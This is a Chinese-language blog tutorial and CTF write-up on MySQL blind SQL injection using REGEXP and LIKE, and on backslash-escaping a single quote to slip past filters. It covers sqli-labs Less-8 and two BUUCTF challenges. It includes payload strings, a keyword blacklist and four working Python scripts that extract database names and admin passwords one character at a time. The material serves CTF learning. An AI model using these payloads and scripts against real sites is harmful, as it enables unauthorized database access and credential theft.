REGEXP注入与LIKE注入与sql注入逃逸单引号


[toc]

前言

这几天我在Buuctf上遇到了几道REGEXP注入和LIKE注入的题目,这里简单总结一下REGEXP注入和LIKE注入吧。

REGEXP注入分析

注入原理

REGEXP注入,即regexp正则表达式注入。REGEXP注入,又叫盲注值正则表达式攻击。应用场景就是盲注,原理是直接查询自己需要的数据,然后通过正则表达式进行匹配。

1、基本注入

select (select语句) regexp '正则表达式'

正常的查询语句:

select username from users where id=1;

(1)正则注入匹配select查询结果,若匹配到结果则返回1,未匹配到则返回0

select (select username from users where id=1) regexp '^a';

^ 表示pattern(模式串)的开头。即若匹配到username字段下id=1的数据开头为a,则返回1;否则返回0。

(2)regexp关键字还可以代替where条件里的等号(=)

当过滤了=、in、like等关键字时,我们可以用regexp来进行绕过:

select * from users where password regexp '^ad';

image-20201028213955258

使用场景:

  • 过滤了=、in、like等关键字

注意:^若被过滤,我们还可以使用$来从后往前进行匹配

常用regexp正则语句:

regexp '^[a-z]' 
regexp '^a'
regexp '^a[a-z]'

(3)在联合查询中的使用

select * from users where id=1 union select 1,database() regexp '^s',3;

image-20201028214950016

2、REGEXP盲注

在sqli-labs靶场Less-8(GET盲注)关进行测试。

1.判断数据库长度

/?id=' or (length(database())=8)--+  // 回显正常

image-20201029150534694

2.判断数据库名

/?id=' or database() regexp '^s'--+    //正常
/?id=' or database() regexp '^sa'--+   //错误
/?id=' or database() regexp 'y$'--+    //正常

image-20201029151054606

image-20201029151032258

综上所述,很明显和普通的布尔盲注差不多,于是写个GET的二分法盲注脚本:

import requests
import string

#strs = string.printable
strs = string.ascii_letters+string.digits+'_'
url = "http://x.x.x.x:8001/Less-8/index.php?id="

database1 = "' or database() regexp '^{}'--+"
table1 = "' or (select table_name from information_schema.tables where table_schema=database() limit 0,1) regexp '^{}'--+"
cloumn1 = "' or (select column_name from information_schema.columns where table_name=\"users\" and table_schema=database() limit 1,1) regexp '^{}'--+"
data1 = "' or (select username from users limit 0,1) regexp '^{}'--+"

payload = database1
if __name__ == "__main__":
    name = ''
    for i in range(1,40):
        char = ''
        for j in strs:
            payloads = payload.format(name+j)
            urls = url+payloads
            r = requests.get(urls)
            if "You are in" in r.text:
                name += j
                print(j,end='')
                char = j
                break
        if char =='#':
            break

LIKE注入分析

like匹配

百分比(%)通配符允许匹配任何字符串的零个或多个字符。下划线_通配符允许匹配任何单个字符。匹配成功则返回1,反之返回0。

1、基本注入

1. like 's%' 判断第一个字符是否为s

1 union select 1,database() like 's%',3 --+

image-20201029153638803

2. like 'se%' 判断前面两个字符串是否为se

1 union select 1,database() like 'se%',3 --+

3. like '%sq%' 判断是否包含“se”这两个字符串

1 union select 1,database() like '%se%',3 --+

4. like '_____' 判断是否为5个字符,可用于判断长度

1 union select 1,database() like '_____',3 --+

5. like 's____' 判断第一个字符是否为s

1 union select 1,database() like 's____',3 --+

2、LIKE盲注

依旧在sqli-labs靶场Less-8关进行测试。

1. 判断数据库长度

可用length()函数,也可用_,如:

/?id=' or database() like '________' --+  // 回显正常

image-20201029154204707

2. 判断数据库名

/?id=' or database() like 's%' --+
也可用
/?id=' or database() like 's_______' --+

image-20201029154553082

如上图所示,回显正常,说明数据库名的第一个字符是s。

我又把REGEXP盲注脚本改一下,于是成了LIKE盲注脚本:

import requests
import string

#strs = string.printable
strs = string.ascii_letters+string.digits+'_'
url = "http://x.x.x.x:8001/Less-8/index.php?id="

database1 = "' or database() like '{}%'--+"
table1 = "' or (select table_name from information_schema.tables where table_schema=database() limit 0,1) like '{}%'--+"
cloumn1 = "' or (select column_name from information_schema.columns where table_name=\"users\" and table_schema=database() limit 1,1) like '{}%'--+"
data1 = "' or (select username from users limit 0,1) like '{}%'--+"

payload = database1
if __name__ == "__main__":
    name = ''
    for i in range(1,40):
        char = ''
        for j in strs:
            payloads = payload.format(name+j)
            urls = url+payloads
            r = requests.get(urls)
            if "You are in" in r.text:
                name += j
                print(j,end='')
                char = j
                break
        if char =='#':
            break

CTF 例题实战

[BJDCTF 2nd]简单注入

该题主要涉及的是REGEXP盲注。开始复现:

进入题目,一个输入框:

image-20201029155453130

访问robots.txt发现hint.txt:

image-20201029155612250

image-20201029155631714

如上图,在hint.txt中得到了sql语句:

select * from users where username='$_POST["username"]' and password='$_POST["password"]';

接下来开始注入,Fuzz一波发现过滤了很多,单引号、双引号、union、select、=和like都tm被ban了。

似乎没得思路了,看下wp,发现SQL语句逃逸单引号,于是了解一下这个方法。

SQL语句逃逸单引号

主要是通过反斜线\,将单引号转义,从而实现了SQL语句逃逸,造成SQL注入。
意思就是:
假设sql语句为:

select username,password from users where username='$user' and password='$pwd'

假设输入的用户名是admin\,密码输入的是or 1#整个SQL语句变成了

select username,password from users where username='admin\' and password=' or 1#'

由于单引号被转义,and password=这部分都成了username的一部分,即

username='admin\' and password='

这样 or 1 就逃逸出来了,由此可控,可作为注入点了。

而我们Fuzz的结果也确实发现反斜线没有被ban掉。(注意该点)

我们输入用户名是admin\,密码是or 1#

image-20201029160326849

如上图成功得到正常的回显“BJD needs to be stronger”。

于是就可以注入了:

例如:

传入admin\or/**/length(database())>0# 会回显stronger字样

传入admin\or/**/length(database())<0# 会回显girl friend字样

存在盲注,由于union、select等都被ban了,所以我们思考应该是要将password的值直接读取出来。这里我们可以用正常的ascii和substr来进行,也可以用regexp来匹配进行,即:

username=admin\  password=or password regexp binary '^a'#

// 加上binary关键字用于区分大小写

由于直接regexp匹配在3.23.4版本后是不分大小写的,所以加上binary关键字。

最后得到盲注脚本如下:

import requests
import string

def str2hex(string):  # 转换16进制,16进制在数据库执行查询时又默认转换成字符串
  result = ''
  for i in string:
    result += hex(ord(i))
  result = result.replace('0x','')
  return '0x'+result

strs = string.ascii_letters+string.digits+'_'
url = "http://3fb55301-c0be-4134-830b-fda52f321221.node3.buuoj.cn/"
headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0'
}
payload = 'or password regexp binary {}#'
if __name__ == "__main__":
    name = ''
    for i in range(1,40):
        for j in strs:
            passwd = str2hex('^'+name+j)
            payloads = payload.format(passwd)
            postdata={
                'username':'admin\\',
                'password':payloads
            }
            r = requests.post(url,data=postdata,headers=headers)
            if "BJD need" in r.text:
                name += j
                print(j,end='')
                break

跑出用户密码后,直接登录即可得到flag。

[NCTF2019]SQLi

该题同样也是主要涉及的是REGEXP盲注。开始复现:

进入题目,给出一个登陆框,并把sql语句显示出来了。

image-20201029161908910

再进行一波信息搜集。看看robots.txt
有个hint.txt,访问hint.txt:

image-20201029162003019

得到了部分代码:

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";


If $_POST['passwd'] === admin's password,

Then you will get the flag;

可知,过滤了大部分能用的关键字,select、union等都不能用了,但没有过滤反斜杠\。并且,只要passwd等于admin’s password就会给我们flag,并没有判断用户名。

情况和上一题类似,我们还是用反斜杠使SQL语句逃逸单引号。我们用||代替or,用;%00代替#

我们输入:

username=123\  password=||1;%00

原查询语句变为

select * from users where username='123\' and passwd='||1;%00';

但是不能在输入框直接提交,否则%00会被 url encode 变为%2500被黑名单拦截。提交后,发现页面会跳转到welcome.php:

image-20201029172257860

这也是判断正确时的回显,我们可以根据这个来进行盲注,但是select、union等都被ban了,所以应该是让我们用regexp来盲注得到password的值。我们输入:

username=123\  password=||passwd/**/regexp/**/"^y";%00
// 单引号被过滤了

原查询语句变为

select * from users where username='\' and passwd='||/**/passwd/**/regexp/**/"^y";%00

成功跳转到了welcome.php:

image-20201029173431718

我们写如下脚本,爆出admin用户的密码:

注意再写python的时候%00不能直接传入,直接传入会直接解码为空。

import string
import requests
from urllib import parse

name = ''
string= string.ascii_lowercase + string.digits + '_'
url = 'http://655a25ce-b1b1-46ed-803b-ad8942c5a7fc.node3.buuoj.cn/'

for n in range(100):
    for m in string:
        data = {
            "username":"\\",
            "passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((name+m),parse.unquote('%00'))
        }
        res = requests.post(url,data=data)
        if 'welcome' in res.text:
            name += m
            print(name)
            break
    if m=='_' and 'welcome' not in res.text:
        break
print(name)

如下图得到了密码为you_will_never_know7788990:

image-20201029174211657

我们输入密码即可得到flag:

image-20201029174510935

总结

经过上面的学习我们发现regexp和like都可以用来进行sql注入,且基本就是盲注。我们经过上面两题发现,regexp注入的题目有以下几个特点:

  • 过滤了select、union等
  • robots.txt中存在hint等提示,提示将告诉你后台的sql处理语句
  • 用反斜杠\逃逸sql里面的引号
  • 利用regexp进行盲注获取密码

Author: WHOAMI
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint polocy. If reproduced, please indicate source WHOAMI !
评论
  TOC